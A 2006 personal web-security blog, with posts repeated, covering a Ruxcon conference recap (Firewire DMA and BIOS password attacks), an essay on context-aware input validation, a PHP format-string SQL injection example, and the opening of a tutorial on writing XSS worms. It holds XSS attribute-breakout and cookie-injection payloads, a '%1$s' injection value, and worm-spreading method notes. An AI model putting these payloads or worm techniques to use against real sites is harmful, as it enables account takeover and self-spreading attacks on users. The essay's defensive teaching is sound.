Just posting to say that I've updated the guide I've written to include a brief explanation of how to create an XSS worm using Flash. The aditions are not very in depth and exist to give it more completeness than any other reason, but that is primarily because all that needs to be done with Flash is so self explanatory I don't really believe I need to provide any worm code for people to be able to easily grasp the idea and be able to implement it.
If you are only interested in seeing the updates, I have marked all the updates with the word "Update:" in bold so they should be easy to find.
If you are only interested in seeing the updates, I have marked all the updates with the word "Update:" in bold so they should be easy to find.
Wednesday, October 11, 2006
Ruxcon 2006
Note:(15/11/06): storm.net.nz (metlstorm's site - which hosts many of the files linked to here) is down and so I've uploaded all the files related to his talk here: http://mihd.net/qulyn8
Its quite a while after Ruxcon is over, but I completely forgot I even had a blog, let alone remembered to actually update it.
Anyway, Ruxcon was awesome, saw some really cool talks, saw some really amazing things, saw more applications for existing ideas.
But the one talk I'm sure will stand out in everyone's mind is security-assesment.com's Adam "Metlstorm" Boileau's "Hit By A Bus: Physical Access Attacks with Firewire" talk. Only 2 new things were really unveiled in this talk (not that that minimises their importance), but due to his theatrics it was the one that everyone I talked to mentioned as their favourite for the first day.
I'm not going to outline it since I wouldn't give it the credit it deserves, so i recomend going and having a look at his presentation here: http://www.ruxcon.org.au/files/2006/firewire_attacks.pdf and also on the page relating to the talk on his own website where all the tools/code have been uploaded: http://www.storm.net.nz/projects/16
I will cover the 2 new things that he disclosed though:
Firewire Direct Memory Access (DMA) attacks which were previously not possible against Windows now are. The way to gain DMA in a windows machine through firewire is to pretnd to be a trustworthy device like an iPod or similar, not an evil Linux box.
BIOS and Disk Encryption passwords are storedin the realmode keyboard buffer which is not cleared when the computer enters protected mode, and so BIOS and disk encryption passwords are still in memory when the computer is running. THe nly limitation to this though is that the buffer is limited to 15 characters, so while its going to get you the whole passord most of the time, its not going to get it all the time, but even so, 15 characters is still a lot of information.
So as he said "Firewire is great. Everyone should get Firewire.", now time to get a box with a Firewire port and linux on my iPod and we'll see what havoc I can cause, :p
I also rather enjoyed Ilja van Sprundel's talk entitled "Unusual Bugs" for which the presentation can be found here: http://www.ruxcon.org.au/files/2006/unusual_bugs.pdf. It was rather interesting to me since I have not had much experience in security outside wb apps, so it helped a lot. There'a a funny little quotes on one of his websites, which I found rather amusing:
And the other talk which i really enjoyed was the second last talk of the conference, which was Ben Hawkes' "Exploiting OpenBSD" for which slides are vailiable at http://www.ruxcon.org.au/files/2006/hawkes_openbsd.pdf it helped me understand more fully the protections in place in OpenBSD, and Operating Systems in general. Furthermore I found it interesting that the technique which Ben described as "byte for byte" brute forcing is an idea described in several articles in web application security for doing Blind SQL Injection Table Enumeration[1]. This leads me to believe that we are destined to solving the same problems over and over for every single technology, not just finding out that forgetting to Authenticate is bad in web apps, then completely forgetting the idea for AJAX (as per Andrew van der Stock's "Ajax Security" talk), or as the case is here thinking of an idea for attacking web apps and then not trying to think of what other applications the idea might have.
Not that I'm trying to diminish Ben's idea, it is one that really helps, but it is one I'm sure that anyone who has seen the SQL Injection technique I have described will automatically jump to when thinking of how to execute a "better brute force" attack, I know that was the first thing I thought of when he started saying he had thought of a better technique.....
Anyway, I had a great time, saw some interesting things, learned a lot, and met a few people. Also an interesting bit of trivia; at the Google party on the saturday night which I think approximately 60-80 people attended they drank $4,000 of drinks on googleaccount, and the moment this was announced the following morning a huge chear went up, just before another security-asesment.com employee's - Morgan Marquis-Boire - talk "Access over Ethernet: Insecurites in AoE".
[1] I'll try to find where I found this mentioned, but essentially the idea is that when performing Blind SQL injection its possible to do checks on single letters rather than whole records, so you can find out how many tables begin with the letter a, the letter b, the letter c, etc, and then for each of those see how many have the second letter asa, as b, etc, etc, and run a brute force letter by letter.
Well, i didn't find the article I read (probably because i read the article on some obscure hacking site at least 6 months ago, and I have no idea where that could be), but I found an article on using a tool which uses the described attak here: http://www.justinclarke.com/archives/2006/03/sqlbrute.html
Its quite a while after Ruxcon is over, but I completely forgot I even had a blog, let alone remembered to actually update it.
Anyway, Ruxcon was awesome, saw some really cool talks, saw some really amazing things, saw more applications for existing ideas.
But the one talk I'm sure will stand out in everyone's mind is security-assesment.com's Adam "Metlstorm" Boileau's "Hit By A Bus: Physical Access Attacks with Firewire" talk. Only 2 new things were really unveiled in this talk (not that that minimises their importance), but due to his theatrics it was the one that everyone I talked to mentioned as their favourite for the first day.
I'm not going to outline it since I wouldn't give it the credit it deserves, so i recomend going and having a look at his presentation here: http://www.ruxcon.org.au/files/2006/firewire_attacks.pdf and also on the page relating to the talk on his own website where all the tools/code have been uploaded: http://www.storm.net.nz/projects/16
I will cover the 2 new things that he disclosed though:
Firewire Direct Memory Access (DMA) attacks which were previously not possible against Windows now are. The way to gain DMA in a windows machine through firewire is to pretnd to be a trustworthy device like an iPod or similar, not an evil Linux box.
BIOS and Disk Encryption passwords are storedin the realmode keyboard buffer which is not cleared when the computer enters protected mode, and so BIOS and disk encryption passwords are still in memory when the computer is running. THe nly limitation to this though is that the buffer is limited to 15 characters, so while its going to get you the whole passord most of the time, its not going to get it all the time, but even so, 15 characters is still a lot of information.
So as he said "Firewire is great. Everyone should get Firewire.", now time to get a box with a Firewire port and linux on my iPod and we'll see what havoc I can cause, :p
I also rather enjoyed Ilja van Sprundel's talk entitled "Unusual Bugs" for which the presentation can be found here: http://www.ruxcon.org.au/files/2006/unusual_bugs.pdf. It was rather interesting to me since I have not had much experience in security outside wb apps, so it helped a lot. There'a a funny little quotes on one of his websites, which I found rather amusing:
A warning: printf uses its first argument to decide how many arguments follow and what their type is. It will get confused, and you will get wrong answers, if there are not enough arguments of if they are the wrong type. You should also be aware of the difference between these two calls:
printf(s); /* FAILS if s contains % */
printf("%s", s); /* SAFE */
-- The C programming language 2nd edition (1988).
And the other talk which i really enjoyed was the second last talk of the conference, which was Ben Hawkes' "Exploiting OpenBSD" for which slides are vailiable at http://www.ruxcon.org.au/files/2006/hawkes_openbsd.pdf it helped me understand more fully the protections in place in OpenBSD, and Operating Systems in general. Furthermore I found it interesting that the technique which Ben described as "byte for byte" brute forcing is an idea described in several articles in web application security for doing Blind SQL Injection Table Enumeration[1]. This leads me to believe that we are destined to solving the same problems over and over for every single technology, not just finding out that forgetting to Authenticate is bad in web apps, then completely forgetting the idea for AJAX (as per Andrew van der Stock's "Ajax Security" talk), or as the case is here thinking of an idea for attacking web apps and then not trying to think of what other applications the idea might have.
Not that I'm trying to diminish Ben's idea, it is one that really helps, but it is one I'm sure that anyone who has seen the SQL Injection technique I have described will automatically jump to when thinking of how to execute a "better brute force" attack, I know that was the first thing I thought of when he started saying he had thought of a better technique.....
Anyway, I had a great time, saw some interesting things, learned a lot, and met a few people. Also an interesting bit of trivia; at the Google party on the saturday night which I think approximately 60-80 people attended they drank $4,000 of drinks on googleaccount, and the moment this was announced the following morning a huge chear went up, just before another security-asesment.com employee's - Morgan Marquis-Boire - talk "Access over Ethernet: Insecurites in AoE".
[1] I'll try to find where I found this mentioned, but essentially the idea is that when performing Blind SQL injection its possible to do checks on single letters rather than whole records, so you can find out how many tables begin with the letter a, the letter b, the letter c, etc, and then for each of those see how many have the second letter asa, as b, etc, etc, and run a brute force letter by letter.
Well, i didn't find the article I read (probably because i read the article on some obscure hacking site at least 6 months ago, and I have no idea where that could be), but I found an article on using a tool which uses the described attak here: http://www.justinclarke.com/archives/2006/03/sqlbrute.html
Monday, April 24, 2006
Validation in Context
Its been a while since I posted anything here, but considering I'm fairly sure no-one actually reads this and I had nothing new to write that hadn't been written elsewhere (or at least I haven't seen written elsewhere), I haven't really bothered writing much more, but after finding an XSS hole relating to this topic today i thought I'd write about it.
======================
Validation in Context
======================
==============
Contents
==============
- 1.0 Introduction
- 1.1 What is context?
- 1.2 Why is context important?
- 2.0 The contexts of SQL Injection
- 3.0 The contexts of XSS
- 4.0 Conclusion
================
1.0 Introduction
================
In this article I would like to explain the need for the need of validation (and encoding/escaping) in context. The need for validation is one that is often known only by a few implications, and usually performed either prematurely or inadequately. One of the great sources of inadequacy is encoding and validation out of context.
==============
1.1 What is context?
==============
Context is, in the most simple of terms, is the circumstances in which something occurs. For the sake of this article we will refer to context as the circumstances in which operations are performed on user input. An understanding of context is essential to good input validation, encoding/escaping etc (simply referred to as validation from here-on-in).
==============
1.2 Why is context important?
==============
Context is important because we are trying to somehow pass user input to extremely complex systems, be they relational database management systems (RDBMS), browsers or operating systems, without the complex system performing any unexpected actions.
In the simplest of terms, context is important because its (generally) pointless to use a method used in one situation on another situation, e.g. escaping quotes is pointless in stopping XSS, just as escaping < and > symbols is useless in stopping SQL Injection.
==============
1.3 Understanding and finding contexts
==============
For us to be able to understand and find contexts we must be intimately familiar with the system into which we are feeding user input. And furthermore we must be able to know how much capacity for error the system will allow. The easiest example of contexts which we can find would be in SQL injection, which I will cover in the next section.
================
2.0 The contexts of SQL Injection
================
To find contexts in SQL Injection we must first understand our queries. For example, if we are placing user input inside single quotes, it is pointless for us to only escape double quotes and vice versa. And so we have our first 2 states:
- An expression inside single quotes
- An expression inside double quotes
But an expression does not have to be inside quotes at all, we could have an integer which is outside quotation marks because it then does not force the RDBMS to evaluate the string and convert it to a number, and in this case our normal validation of escaping quotes (either one or both) would be of extremely limited use in stopping an attacker because the attacker does not need to use quotes to break out of the expression, and does not need quotes for almost all other actions they would like to perform. And so now we have our third context:
- An un-enclosed expression
But since we know that the value we are expecting is an integer; validating it is not all that difficult, but cases like these prevent solutions like magic_quotes_* (as in PHP's case) from working completely, and begin to illustrate why validation needs to be done in context rather than in a way which stops a few vectors.
In SQL the contexts are few, but do help to illustrate how context needs to be taken into account.
================
3.0 The contexts of XSS
================
In XSS attacks you are passing user input to a much more complex (in terms or input parsing) system than an RDBMS, you are passing user input to a browser. The most basic context people protect against is when user input is placed on the page inside a container (be it a tag or the page itself acting as a container), so we have our first context:
- User input inside a container (either a tag, or the page itself)
and the most common method (in PHP, at least) is to simply run everything through either strip_tags() (which as the name implies strips - without any additional parameters - all tags from user input), or the slightly more useful htmlentities() (which encodes all characters which have HTML character entity equivalents are translated into these entities, e.g. < is converted to < and " is converted to ", etc - encoding of quotes though,is optional -, htmlspecialchars() does much the same thing for our purposes, but it only does a few characters, those characters being <>&'" ).
Again, there are more contexts, but the same functions are often relied upon to neutralize threats in several circumstances. The next circumstance would be when user input is placed inside an attribute for a tag, e.g. :
In this case, using htmlentities() (or htmlspecialchars() ) as our_encoding_function() will still work, but strip_tags() will not, because what we need to filter out or encode here are double quotes, because it would be trivial for an attacker to pass this:
and be able to execute code without having any tags stripped because the attacker had no need to use tags. But not all attributes are enclosed in double quotes, lets say the developer favoured single quotes and did this:
then all our encoding (when supplied with no other parameter then the user input) becomes useless because by default htmlentities() and htmlspecialchars() do not encode single quotes. But even if it was set to encode single quotes it would not help us in the smallest if the developer had not encapsulated user input at all, like so:
, because then we would not need to use quotes ourselves. Admittedly it is much harder to create a javascript payload without using quotes or whitespace, but it is still doable. From here we have 3 new contexts:
- User input inside an attribute to a tag, enclosed with double quotes
- User input inside an attribute to a tag, enclosed with single quotes
- User input inside an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)
It also matters inside what *kind* of attribute the user input exists. For example if the attribute is merely the background color of the page, then nothing harmful can come about (without of course a bug in the browser) without the user breaking out of the attribute. But what if the tag was a javascript tag, and the user input was enclosed within single quotes inside the javascript, and the attribute was enclosed in double quotes like so (while its not the most likely real world example, it does illustrate a point without having to discuss browser differences):
then nothing short of encoding, single and double quotes would suffice (we don't need to worry about > symbols because they can exist inside attributes), because with anything less the user would be able to break out of either the single quotes encapsulating the string inside the alert statement, and therefore allowing the user to execute arbitrary (well almost) javascript commands, or (because of a browser's permissive nature) break out of the attribute altogether then creating a new attribute with other javascript, and we have XSS all over again. And the same situation could be reversed in a few ways and we get the following contexts:
- User input inside some javascript, encapsulated by single quotes, inside an attribute to a tag, enclosed with double quotes
- User input inside some javascript, encapsulated by single quotes, inside an attribute to a tag, enclosed with single quotes
- User input inside some javascript, encapsulated by single quotes, inside an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)
- User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, enclosed with double quotes
- User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, enclosed with single quotes
- User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)
And so we have so many more possible contexts to keep in mind, luckily though it can be simplified down to the following rule:
- Encode single and/or double quotes depending on whether or not they are used as encapsulation.
We could of course include contexts like being inside CSS, etc, etc, but these are the main ones, and this article is designed to raise awareness of contexts rather than to be a definitive list of them.
The contexts so far presented though have been quite similar, lets have a look at something a bit more esoteric. lets say we have a piece of javascript which is setting a cookie, the input doesn't need to come from a server-side script, it can be done by javascript, and it does not matter because we are not trying to break out of what the javascript is trying to do, we just want to do a bit more than what its intended to do. but for the sake of simplicity lets say we're using the following server-side script:
now, beside the fact that there is no really sane reason (that I can think of) you would be setting server-side cookies using this method, this is only an esoteric example to show you that you should not confine yourself to the common. The reason is that while we cannot escape any of the boundaries (either the string encapsulation or script tag) we can still cause unexpected behavior by setting other cookie. Lets say we set the name variable to:
, then the resulting javascript will become:
which causes us to set a new cookie (we could overwrite an existing cookie as well) besides the name cookie, and we could use such injection to perform things like $_REQUEST Variable Fixation (http://kuza55.blogspot.com/2006/03/request-variable-fixation.html), or other attacks. But more than to show an actual attack, it is an example of how the context (in this case; setting a cookie) will allow you to perform attacks, where the validation needed to stop those attacks would be useless and restrictive in other cases. And it satisfies my need for an obscure attack vector, :p.
================
4.0 Conclusion
================
What I've outlined here is not really new information, it is merely something which is greatly neglected by many people writing web apps. If there was anything I would like you to take away from this article above all else, it would have to be; know your encapsulation and how it can be broken out of, and how unexpected behaviours can be created. There's really nothing more to it other than remembering that, and not forgetting to apply that knowledge, and not just hope that nobody will notice.
- kuza55
======================
Validation in Context
======================
==============
Contents
==============
- 1.0 Introduction
- 1.1 What is context?
- 1.2 Why is context important?
- 2.0 The contexts of SQL Injection
- 3.0 The contexts of XSS
- 4.0 Conclusion
================
1.0 Introduction
================
In this article I would like to explain the need for the need of validation (and encoding/escaping) in context. The need for validation is one that is often known only by a few implications, and usually performed either prematurely or inadequately. One of the great sources of inadequacy is encoding and validation out of context.
==============
1.1 What is context?
==============
Context is, in the most simple of terms, is the circumstances in which something occurs. For the sake of this article we will refer to context as the circumstances in which operations are performed on user input. An understanding of context is essential to good input validation, encoding/escaping etc (simply referred to as validation from here-on-in).
==============
1.2 Why is context important?
==============
Context is important because we are trying to somehow pass user input to extremely complex systems, be they relational database management systems (RDBMS), browsers or operating systems, without the complex system performing any unexpected actions.
In the simplest of terms, context is important because its (generally) pointless to use a method used in one situation on another situation, e.g. escaping quotes is pointless in stopping XSS, just as escaping < and > symbols is useless in stopping SQL Injection.
==============
1.3 Understanding and finding contexts
==============
For us to be able to understand and find contexts we must be intimately familiar with the system into which we are feeding user input. And furthermore we must be able to know how much capacity for error the system will allow. The easiest example of contexts which we can find would be in SQL injection, which I will cover in the next section.
================
2.0 The contexts of SQL Injection
================
To find contexts in SQL Injection we must first understand our queries. For example, if we are placing user input inside single quotes, it is pointless for us to only escape double quotes and vice versa. And so we have our first 2 states:
- An expression inside single quotes
- An expression inside double quotes
But an expression does not have to be inside quotes at all, we could have an integer which is outside quotation marks because it then does not force the RDBMS to evaluate the string and convert it to a number, and in this case our normal validation of escaping quotes (either one or both) would be of extremely limited use in stopping an attacker because the attacker does not need to use quotes to break out of the expression, and does not need quotes for almost all other actions they would like to perform. And so now we have our third context:
- An un-enclosed expression
But since we know that the value we are expecting is an integer; validating it is not all that difficult, but cases like these prevent solutions like magic_quotes_* (as in PHP's case) from working completely, and begin to illustrate why validation needs to be done in context rather than in a way which stops a few vectors.
In SQL the contexts are few, but do help to illustrate how context needs to be taken into account.
================
3.0 The contexts of XSS
================
In XSS attacks you are passing user input to a much more complex (in terms or input parsing) system than an RDBMS, you are passing user input to a browser. The most basic context people protect against is when user input is placed on the page inside a container (be it a tag or the page itself acting as a container), so we have our first context:
- User input inside a container (either a tag, or the page itself)
and the most common method (in PHP, at least) is to simply run everything through either strip_tags() (which as the name implies strips - without any additional parameters - all tags from user input), or the slightly more useful htmlentities() (which encodes all characters which have HTML character entity equivalents are translated into these entities, e.g. < is converted to < and " is converted to ", etc - encoding of quotes though,is optional -, htmlspecialchars() does much the same thing for our purposes, but it only does a few characters, those characters being <>&'" ).
Again, there are more contexts, but the same functions are often relied upon to neutralize threats in several circumstances. The next circumstance would be when user input is placed inside an attribute for a tag, e.g. :
print "<body bgcolor=\"".our_encoding_function($_GET['bg'])."\">";
In this case, using htmlentities() (or htmlspecialchars() ) as our_encoding_function() will still work, but strip_tags() will not, because what we need to filter out or encode here are double quotes, because it would be trivial for an attacker to pass this:
" onLoad="insert malicious javascript here
and be able to execute code without having any tags stripped because the attacker had no need to use tags. But not all attributes are enclosed in double quotes, lets say the developer favoured single quotes and did this:
print "<body bgcolor='".our_encoding_function($_GET['bg'])."'>";
then all our encoding (when supplied with no other parameter then the user input) becomes useless because by default htmlentities() and htmlspecialchars() do not encode single quotes. But even if it was set to encode single quotes it would not help us in the smallest if the developer had not encapsulated user input at all, like so:
print "<body bgcolor=".our_encoding_function($_GET['bg']).">";
, because then we would not need to use quotes ourselves. Admittedly it is much harder to create a javascript payload without using quotes or whitespace, but it is still doable. From here we have 3 new contexts:
- User input inside an attribute to a tag, enclosed with double quotes
- User input inside an attribute to a tag, enclosed with single quotes
- User input inside an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)
It also matters inside what *kind* of attribute the user input exists. For example if the attribute is merely the background color of the page, then nothing harmful can come about (without of course a bug in the browser) without the user breaking out of the attribute. But what if the tag was a javascript tag, and the user input was enclosed within single quotes inside the javascript, and the attribute was enclosed in double quotes like so (while its not the most likely real world example, it does illustrate a point without having to discuss browser differences):
print "<body onLoad="alert('.our_encoding_function($_GET['bg'])."');\">";
then nothing short of encoding, single and double quotes would suffice (we don't need to worry about > symbols because they can exist inside attributes), because with anything less the user would be able to break out of either the single quotes encapsulating the string inside the alert statement, and therefore allowing the user to execute arbitrary (well almost) javascript commands, or (because of a browser's permissive nature) break out of the attribute altogether then creating a new attribute with other javascript, and we have XSS all over again. And the same situation could be reversed in a few ways and we get the following contexts:
- User input inside some javascript, encapsulated by single quotes, inside an attribute to a tag, enclosed with double quotes
- User input inside some javascript, encapsulated by single quotes, inside an attribute to a tag, enclosed with single quotes
- User input inside some javascript, encapsulated by single quotes, inside an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)
- User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, enclosed with double quotes
- User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, enclosed with single quotes
- User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)
And so we have so many more possible contexts to keep in mind, luckily though it can be simplified down to the following rule:
- Encode single and/or double quotes depending on whether or not they are used as encapsulation.
We could of course include contexts like being inside CSS, etc, etc, but these are the main ones, and this article is designed to raise awareness of contexts rather than to be a definitive list of them.
The contexts so far presented though have been quite similar, lets have a look at something a bit more esoteric. lets say we have a piece of javascript which is setting a cookie, the input doesn't need to come from a server-side script, it can be done by javascript, and it does not matter because we are not trying to break out of what the javascript is trying to do, we just want to do a bit more than what its intended to do. but for the sake of simplicity lets say we're using the following server-side script:
print "<script>document.cookie = \"name=".htmlentities($_GET['name'], ENT_NOQUOTES)."\";</script>";
now, beside the fact that there is no really sane reason (that I can think of) you would be setting server-side cookies using this method, this is only an esoteric example to show you that you should not confine yourself to the common. The reason is that while we cannot escape any of the boundaries (either the string encapsulation or script tag) we can still cause unexpected behavior by setting other cookie. Lets say we set the name variable to:
Alex;\nid=0;
, then the resulting javascript will become:
<script>document.cookie = "name=Alex;\nid=0;"; </script>
which causes us to set a new cookie (we could overwrite an existing cookie as well) besides the name cookie, and we could use such injection to perform things like $_REQUEST Variable Fixation (http://kuza55.blogspot.com/2006/03/request-variable-fixation.html), or other attacks. But more than to show an actual attack, it is an example of how the context (in this case; setting a cookie) will allow you to perform attacks, where the validation needed to stop those attacks would be useless and restrictive in other cases. And it satisfies my need for an obscure attack vector, :p.
================
4.0 Conclusion
================
What I've outlined here is not really new information, it is merely something which is greatly neglected by many people writing web apps. If there was anything I would like you to take away from this article above all else, it would have to be; know your encapsulation and how it can be broken out of, and how unexpected behaviours can be created. There's really nothing more to it other than remembering that, and not forgetting to apply that knowledge, and not just hope that nobody will notice.
- kuza55
Labels:
PHP,
Security (All),
Web App Sec,
XSS
Thursday, April 06, 2006
New South Wales Police's password blunder
http://www.theage.com.au/news/breaking/police-secret-password-blunder/2006/04/05/1143916569155.html
This article has generated a few responses, mostly along the lines of how irresponsible the author of the article and SMH (the Sydney morning Herald) have been in publishing it publicly, especially including such unique strings such as the passwords provided (which aren't actually needed to find the database on google).
And while my initial response was to agree, is it all that much better than the disclosure policy a lot of people seem to subscribe to? While I agree that this is neither educational nor useful in getting the vendor to act faster (since we can only assume the NSW Police were not notified by much in advance, if at all, of the article being published), and it puts those specific users directly at risk, is it all that much worse?
To find the passwords you would have had to have inclination to find them, and an understanding of google, and how to use it effectively, which is all that you really need to get a PoC exploit to work, really, maybe some programming knowledge if a bug has been introduced, but these days it seems to me that the skill level required to use an exploit and find this database are pretty similar.
Of course, I am not condoning this and do agree this is more irresponsible than publishing eploits, but how much worse is it really? the users can react by changing their passwords, and no fix needs to be implemented. It would have been rather easy to find all the emails, and send them all an email saying that their password can be found online and they should change it, it wouldn't have been a hard task, its not as if only google or someone with exceptional skill to resolve the problem had to do it.
A NSW Police blunder has led to a database of email passwords - including those of the anti-terrorism commander and hundreds of journalists - published on the internet.
The names, email addresses and passwords of as many as 800 people who signed up to receive NSW Police media releases are listed on the database.
Among the exposed passwords is that of Detective Chief Superintendent Mark Jenkins, the man responsible for the state's Counter Terrorist Co-ordination Command unit.
This article has generated a few responses, mostly along the lines of how irresponsible the author of the article and SMH (the Sydney morning Herald) have been in publishing it publicly, especially including such unique strings such as the passwords provided (which aren't actually needed to find the database on google).
And while my initial response was to agree, is it all that much better than the disclosure policy a lot of people seem to subscribe to? While I agree that this is neither educational nor useful in getting the vendor to act faster (since we can only assume the NSW Police were not notified by much in advance, if at all, of the article being published), and it puts those specific users directly at risk, is it all that much worse?
To find the passwords you would have had to have inclination to find them, and an understanding of google, and how to use it effectively, which is all that you really need to get a PoC exploit to work, really, maybe some programming knowledge if a bug has been introduced, but these days it seems to me that the skill level required to use an exploit and find this database are pretty similar.
Of course, I am not condoning this and do agree this is more irresponsible than publishing eploits, but how much worse is it really? the users can react by changing their passwords, and no fix needs to be implemented. It would have been rather easy to find all the emails, and send them all an email saying that their password can be found online and they should change it, it wouldn't have been a hard task, its not as if only google or someone with exceptional skill to resolve the problem had to do it.
Thursday, March 16, 2006
Uninformed.org
Now, originally I was planning only to post the security related work I'd done here, but during my online travels I bumped into uninformed.org. It blew me away.
The obvious amount of thought and detail which has been put into every paper I have read on that site was absolutely exceptional, and explained in such a simple manner that i had no trouble understanding it. I probably wouldn't be able to properly implement the techniques they talk about in the FUTo paper, but I definately understood the concepts, but if I did know anything about rootkit development i would probably be able to, because of the clear and concise way it is presented.
I can't wait for the next volume to come out!
The obvious amount of thought and detail which has been put into every paper I have read on that site was absolutely exceptional, and explained in such a simple manner that i had no trouble understanding it. I probably wouldn't be able to properly implement the techniques they talk about in the FUTo paper, but I definately understood the concepts, but if I did know anything about rootkit development i would probably be able to, because of the clear and concise way it is presented.
I can't wait for the next volume to come out!
Monday, March 13, 2006
Format Strings in PHP
I realise that no-one actually reads what I post here, but i've got an urge to post the crap that i've written up and posted almost nowhere (and in this case nowhere at all) for some reason, even thugh its crap, and useless....
================
Format Strings
================
This small article pertains to Format String vulnerabilities in PHP applications rather than PHP itself.
Format String Vulnerabilities exist where the user is allowed to place data into a format string of a function which accepts a format string, e.g. sprintf(). These vulnerabilities are uncommon, even rare, in PHP because these functions are generally not used in PHP scripts.
In most other languages format string vulnerabilities allow:
- Viewing the Stack
- DoS attacks
- Improper validation checks
In PHP the first 2 should not be an issue since PHP makes sure the amount of unique (in the sense that they are unique if they don't reference to the same variable passed to the format function) place holders and variables it is passed, or provides an error message otherwise, and since the DoS vulnerabilities in format strings are resource exhaustion/corruption and PHP has a setting for the maximum amount of RAM it can consume (after it surpases the limit it simply kills the script and provides an error, instead of crashing) and the corruption can occur when the user is able to force the program to write to the stack, but since you cannot write to the stack using PHP's format functions those vulnerabilities do not exist.
Improper validation checks are probably the only things you need to worry about in PHP, and then only if you were fairly sloppy in your work. An example of a vulnerable script would be a script which INSERTs data into a database, which validates different fields in different ways, and therefore trusts them differently when uing data retrieved from those fields:
In this (highly simplified example) we want to allow users to enter single quotes into field1 for some reason, e.g. its a surname field and we want to allow names like O'Rielly, and for some reason we want to allow percent signs in field2, and we were sloppy and inserted the (already validated) value of field2 directly into the format string.
Now, how could this be bad, well it all comes back to the issue of trust, you trust that because you validated field2 to make sure there were no quotes and you do that validation every ime the user wants to update that field so you decided you weren't going to escape it to increase performance, now lets see what happens when we try and exploit the format string bug.
Lets say we provided some stored SQL Injection (this could also be done with stored XSS) code for field1, it wouldn't work since we know that field 1 could contain malicious data so we always escape it, to field2 though we provide the following value:
================
Format Strings
================
This small article pertains to Format String vulnerabilities in PHP applications rather than PHP itself.
Format String Vulnerabilities exist where the user is allowed to place data into a format string of a function which accepts a format string, e.g. sprintf(). These vulnerabilities are uncommon, even rare, in PHP because these functions are generally not used in PHP scripts.
In most other languages format string vulnerabilities allow:
- Viewing the Stack
- DoS attacks
- Improper validation checks
In PHP the first 2 should not be an issue since PHP makes sure the amount of unique (in the sense that they are unique if they don't reference to the same variable passed to the format function) place holders and variables it is passed, or provides an error message otherwise, and since the DoS vulnerabilities in format strings are resource exhaustion/corruption and PHP has a setting for the maximum amount of RAM it can consume (after it surpases the limit it simply kills the script and provides an error, instead of crashing) and the corruption can occur when the user is able to force the program to write to the stack, but since you cannot write to the stack using PHP's format functions those vulnerabilities do not exist.
Improper validation checks are probably the only things you need to worry about in PHP, and then only if you were fairly sloppy in your work. An example of a vulnerable script would be a script which INSERTs data into a database, which validates different fields in different ways, and therefore trusts them differently when uing data retrieved from those fields:
<?php
// Our RegExps to validate our data, the only thing that is required here is that one allows
// single quotes (or whatever is used to encase strings) and of course letters so that stored
// SQL Injection can be performedand and another be allowed percent and dollar signs and of
// course lowercase letters.
$regexps['field1'] = '/^A-Za-z0-9\'+-=!@#$%^&*()$/';
$regexps['field2'] = '/^A-Za-z0-9+-=!@#$%^&*()$/';
$errors['field1'] = "The value you supplied for field1 did not match the following RegExp: /^A-Za-z0-9'+-=!@#$%^&*()$/\n";
$errors['field2'] = "The value you supplied for field2 did not match the following RegExp: /^A-Za-z0-9+-=!@#$%^&*()$/";
$errormsg;
$err = 0;
foreach ($regexps As $key=>$value) {
if (!ereg ($regexps[$key], $_POST[$value])) {
$err = 1;
$errormsg .= $errors[$key];
}
}
if (empty($err)) {
$dbh = mysql_connect();
$sql = sprintf ("INSERT INTO table (field1, field2) VALUES ('%s', '".mysql_real_escape_string ($_POST['field2']."')",
mysql_real_escape_string($_POST['field1']));
mysql_query
}
?>
In this (highly simplified example) we want to allow users to enter single quotes into field1 for some reason, e.g. its a surname field and we want to allow names like O'Rielly, and for some reason we want to allow percent signs in field2, and we were sloppy and inserted the (already validated) value of field2 directly into the format string.
Now, how could this be bad, well it all comes back to the issue of trust, you trust that because you validated field2 to make sure there were no quotes and you do that validation every ime the user wants to update that field so you decided you weren't going to escape it to increase performance, now lets see what happens when we try and exploit the format string bug.
Lets say we provided some stored SQL Injection (this could also be done with stored XSS) code for field1, it wouldn't work since we know that field 1 could contain malicious data so we always escape it, to field2 though we provide the following value:
%1\$s
Which is the format for inserting the first variable passed to the function after the formt string, and all of a sudden our format string looks like this:INSERT INTO table (field1, field2) VALUES ('%s', '%1\$s')
And all of a sudden we have some malicious SQL stored in a field which you trust implicitly and don't escape.
Thursday, March 09, 2006
Writing an XSS Worm
===========================
Writing an XSS worm
Version 0.3 (Updated 17/10/06)
By kuza55
===========================
Contents:
1.0 Introduction to XSS worms
2.0 Reconnaissance
3.0 Finding the Source
4.0 Spreading
4.1 IMG Tags
4.2 IFRAME Tags
4.3 AJAX
4.4 FORM/IFRAME Combination
4.5 Flash
4.5.1 Simple Flash XSS
4.5.2 More Advanced Flash XSS
5.0 Final Notes
6.0 References
======================
1.0 Introduction
======================
Firstly, we need to know what a(n XSS) worm is. A worm is essentially a piece of (often malicious) code which replicates itself through some means. An XSS worm is the same idea applied to stored XSS holes, e.g. User profiles where users can inject Javascript through some means. This tutorial will use the example of some online software which allows users to input unrestricted HTML on their own page.
This tutorial will focus on writing the actual code to spread, rather than finding a flaw which can be exploited in this way. Methods of Filter evasion are also out of the scope of this tutorial, and there is already much information in that regard available.
======================
2.0 Reconnaissance
======================
Firstly you (obviously) need to find the XSS flaw, but you also need to do some reconnaissance to find what kind of information needs to be sent for it to update a user's profile. The first obvious requirement for almost all applications is that the user must be logged in when viewing the page for it to work. Other requirements may also be in place including the checking of a Referer header, or only accepting arguments via post (as opposed to accepting arguments via any combination of GET/POST/Cookie/etc, as would be the case if using something similar to PHP's $_REQUEST variables).
Once all these things are scoped out you need to analyse wether or not its viable to write an XSS worm, and what the best method of spreading your code would be.
Here's a small listing which should help you decide (though you may have thoughts of your own, these are merely mine), which method would be best.
===========================
Listing 1 - Method Decision Helper
Accepts input via GET
Can be done with an IMG/IFRAME tag, a FORM/IFRAME Combination, AJAX or Flash.
Essentially any form of XSS can be used here, this is obviously the easiest to exploit.
Checks Referer
Cannot be done via IMG tag or Form/IFRAME Combination.
So the methods left are AJAX, and advanced Flash on IE (more on this later).
